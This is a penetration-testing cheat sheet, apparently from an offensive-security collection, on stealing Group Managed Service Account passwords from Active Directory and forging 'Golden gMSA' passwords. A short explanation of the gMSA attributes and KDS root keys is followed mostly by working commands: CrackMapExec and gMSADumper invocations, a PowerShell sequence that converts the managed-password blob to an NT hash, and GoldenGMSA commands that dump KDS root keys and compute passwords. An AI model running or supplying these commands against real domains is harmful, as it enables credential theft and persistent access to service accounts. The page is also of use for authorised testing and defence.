PEnTest – Password – GMSA
Reading GMSA Password
User accounts created to be used as service accounts rarely have their password changed. Group Managed Service Accounts (GMSAs) provide a better approach (starting in the Windows 2012 timeframe). The password is managed by AD and automatically rotated every 30 days to a randomly generated password of 256 bytes.
GMSA Attributes in the Active Directory
msDS-GroupMSAMembership(PrincipalsAllowedToRetrieveManagedPassword) – stores the security principals that can access the GMSA password.msds-ManagedPassword– This attribute contains a BLOB with password information for group-managed service accounts.msDS-ManagedPasswordId– This constructed attribute contains the key identifier for the current managed password data for a group MSA.msDS-ManagedPasswordInterval– This attribute is used to retrieve the number of days before a managed password is automatically changed for a group MSA.
Extract NT hash from the Active Directory
- mpgn/CrackMapExec
# Use --lsa to get GMSA ID crackmapexec ldap domain.lab -u user -p 'PWD' --gmsa-convert-id 00[...]99 crackmapexec ldap domain.lab -u user -p 'PWD' --gmsa-decrypt-lsa '_SC_GMSA_{[...]}_.....' - rvazarkar/GMSAPasswordReader
- micahvandeusen/gMSADumper
powershell python3 gMSADumper.py -u User -p Password1 -d domain.local - Active Directory Powershell
$gmsa = Get-ADServiceAccount -Identity 'SVC_SERVICE_ACCOUNT' -Properties 'msDS-ManagedPassword' $blob = $gmsa.'msDS-ManagedPassword' $mp = ConvertFrom-ADManagedPasswordBlob $blob $hash1 = ConvertTo-NTHash -Password $mp.SecureCurrentPassword - kdejoyce/gMSA_Permissions_Collection.ps1 based on Active Directory PowerShell module
Forging Golden GMSA
One notable difference between a Golden Ticket attack and the Golden GMSA attack is that they no way of rotating the KDS root key secret. Therefore, if a KDS root key is compromised, there is no way to protect the gMSAs associated with it.
You can’t « force reset » a gMSA password, because a gMSA’s password never changes. The password is derived from the KDS root key and ManagedPasswordIntervalInDays, so every Domain Controller can at any time compute what the password is, what it used to be, and what it will be at any point in the future.
- Using GoldenGMSA
# Enumerate all gMSAs GoldenGMSA.exe gmsainfo # Query for a specific gMSA GoldenGMSA.exe gmsainfo --sid S-1-5-21-1437000690-1664695696-1586295871-1112 # Dump all KDS Root Keys GoldenGMSA.exe kdsinfo # Dump a specific KDS Root Key GoldenGMSA.exe kdsinfo --guid 46e5b8b9-ca57-01e6-e8b9-fbb267e4adeb # Compute gMSA password # --sid <gMSA SID>: SID of the gMSA (required) # --kdskey <Base64-encoded blob>: Base64 encoded KDS Root Key # --pwdid <Base64-encoded blob>: Base64 of msds-ManagedPasswordID attribute value GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 # requires privileged access to the domain GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45UZXyuYB[...]G2/M= # requires LDAP access GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45U[...]SM0R7djG2/M= --pwdid AQAAA[..]AAA # Offline mode
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